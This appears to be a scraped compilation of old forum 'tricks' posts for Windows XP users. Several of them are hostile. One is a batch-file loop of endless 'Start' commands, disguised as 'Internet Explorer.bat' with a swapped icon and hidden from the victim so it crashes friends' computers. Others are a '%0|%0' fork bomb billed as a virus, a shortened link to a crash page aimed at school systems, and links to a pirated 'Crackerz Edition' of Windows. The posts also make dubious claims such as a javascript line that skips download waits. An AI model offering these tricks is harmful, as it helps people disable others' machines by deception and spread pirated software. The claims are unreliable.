Notepad hack/Prank

1.First you need to open Notepad.

2.Type in Notepad-
@echo off
:a
Start
Start
Start
Start
Start
Start
goto :a

3.When you save, Go to "File", "Save As", and save it as "Internet Explorer.bat". Where it says "FileType" Select "All Files" or it wont work.

4.Remeber you can save it in any name you want as long as it ends witf----
.bat Remember, .bat

5.Next you need to change the icon

6.To do this you need to right click the Icon and go down to "Create Shortcut" and then rename it.Then right click it and go down to "Properties" and select "Change Icon". Choose the icon you want andclick it and then click "Apply".

7.Put the original Batch File in a random folder on the desktop. So they cant see it.

If you then double click it and it will Crash the computer.
I Recommend you do not do this on your computer.
This is very funny to do to friends.
FOR EDUCATIONAL PURPOSES ONLY!

Enjoy...

Random Rotating Signature

This Tutorial will show you how to get a random/rotating signature everytime the page is refreshed..Lets Start:

1.First you have to go to http://www.cutandpastescripts.com and make a account
2. Enter the members area
3. select the button that says "Random Images"
4. Select add a new random image
5. Paste the source were the image(s) is hosted and press "Create" and continue until you get to a page That has a bunch of script
6. What you need to do now is take the code and edit it
Delete everything that is highlighted blue in the picture


It should end up looking something like this

7. Now go to the user cp and edit your signature and paste the code you just edited.
8. Put the image code on your link to make it work [img]Your Link here[/img]

9. Update your signature and you should see one of the images you added to your cutandpastescripts account.
Enjoy...

Crash Your System: With Nothing But a URL!

I stumbled across this URL while surfing the internet This is a javascript "exploit" (that still works, by the way) and will hang/crash your system. It basically floods you with an infinite loop of mailto:xxx windows. To cancel this (and you have to move fast) kill the process of your email client before you run out of RAM

WARNING: CLICKING MAY CAUSE A CRASH! USE AT YOUR OWN RISK!

http://tiny.cc/ibJUN

Use This To Crash Your Systems At School or College...

Enjoy...

Shutdown Your Computer Really Fast(Without any Software or Program)

I found this Trick Somewhere so i m posting it here.It works for windows xp and cuts ur shutdown time to 5 seconds only....
Lets Start:
First Press ctrl+alt+del
This will bring up Task manager...
Now,go to shut down tab at top..
Press ctrl key and while holding it press turn off button...
that's all Your computer is shutdowned!!!!

Enjoy...

Windows XP Crackerz Edition

Windows XP SP3 Crackerz Edition | ISO | 128MB

Windows XP SP3 Crackerz Edition | ISO | 128MB

Windows XP - Crackerz Edition
You must have see many versions of Windowz like Awesome Edition/Darklite Edition etc

We have never seen a Crackerz Edition....

So i have made one...

It has WinASM and Cracking Toolkit by International Crackerz Union(ICU)

It is super fast and has only 14 process running after install

DDL:
Here is a download link:-

http://rapidshare.com/files/127796645/xp...1.rar.html
http://rapidshare.com/files/127806104/xp...2.rar.html

To skip waiting time on rapidshare to download file.

Just write one line code of javascript:-

javascript:alert(c=0)
then press enter

Enjoy...

HIDDEN PROGRAMS OF WINDOWS:

HIDDEN PROGRAMS OF WINDOWS:

1- Private Character Editor
This program is for designing icons and Characters(Alphapet)
Click :start
Then :run
type :EUDCEDIT
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2- iExpress
This Program is for converting your files to EXCUTABLE files
Click : start
Then : run
type : iexpress
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3-Disk Cleanup
This program used for cleaning harddisk to offer space
Click : start
Then : run
type : cleanmgr

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4-Dr Watson
This program Is for repairing problems in Windows
Click : start
Then : run
type : drwtsn32
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5-Windows Media Player 5.1
Opens the old media player
Click : start
Then : run
type : mplay32
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Program ............. CODE
__________ __________

Character Map = charmap

DirectX diagnosis = dxdiag

Object Packager = packager

System Monitor = perfmon

Program Manager = progman

Remote Access phone book = rasphone

Registry Editor = regedt32

File siganture verification tool = sigverif

Volume Contro = sndvol32

System Configuration Editor = sysedit

Syskey = syskey

microsoft Telnet Client = telnet

Enjoy...

Simplest Virus – The Fork Bomb

A virus (as you know) is a piece of code that does something that it shouldn't. It is a common misconception that you need a vast skill set to make these and that they are extremely complex however in reality they are as simple as sin to make which is why they are so damn annoying.




A Fork bomb is considered to be the smallest writable virus in the batch language and it is capable of being annoying and if launched on a home computer however on a server will probably result in a crash.
A fork bomb creates two instances which each create two instances and so on..the processes recursively fork, this "forks" the processor and jamm it completely until a crash occurs.
Here is how to make it
open up notepad and type:
%0|%0
and save it as fork.bat Yep..its a virus of just 5 characters :P .
On double clicking this file,it will lead to total CPU jam by opening about 500+ process of command prompt .


Enjoy...

Get Free Live Tv In Reliance gsm.

Setting for real player:
1.Start real player.
2.Goto options -then settings.
3.Goto connection.
4. In proxy select no proxy.
5. In network select default apn as rcomwap or rmbworld.
6. Online time-unlimited
7.Lowest udp port-6970
8.Highest udp port -32000
9.Goto options-advanced setting.
10.Gprs bandwith-28.14 kbps
11.Egprs bw- 65.28 kbps
12.Umts bw- 268.80 kbps




Enjoy...